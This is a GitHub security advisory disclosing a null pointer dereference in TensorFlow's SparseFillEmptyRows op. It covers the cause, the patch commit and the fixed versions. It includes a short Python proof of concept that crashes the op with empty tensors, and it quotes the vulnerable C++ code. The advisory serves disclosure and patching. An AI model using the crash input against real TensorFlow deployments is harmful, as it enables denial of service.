Null pointer dereference in `SparseFillEmptyRows`

Type github
Reporter GitHub Advisory Database
Modified 2021-05-21T14:25:11



An attacker can trigger a null pointer dereference in the implementation of tf.raw_ops.SparseFillEmptyRows:

```python import tensorflow as tf

indices = tf.constant([], shape=[0, 0], dtype=tf.int64) values = tf.constant([], shape=[0], dtype=tf.int64) dense_shape = tf.constant([], shape=[0], dtype=tf.int64) default_value = 0

tf.raw_ops.SparseFillEmptyRows( indices=indices, values=values, dense_shape=dense_shape, default_value=default_value) ```

This is because of missing validation that was covered under a TODO. If the dense_shape tensor is empty, then dense_shape_t.vec<>() would cause a null pointer dereference in the implementation of the op:

cc template <typename T, typename Tindex> struct SparseFillEmptyRows<CPUDevice, T, Tindex> { Status operator()(OpKernelContext* context, const Tensor& default_value_t, const Tensor& indices_t, const Tensor& values_t, const Tensor& dense_shape_t, typename AsyncOpKernel::DoneCallback done) { ... const auto dense_shape = dense_shape_t.vec<Tindex>(); ... } }


We have patched the issue in GitHub commit faa76f39014ed3b5e2c158593b1335522e573c7f.

The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.

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This vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu X-Team.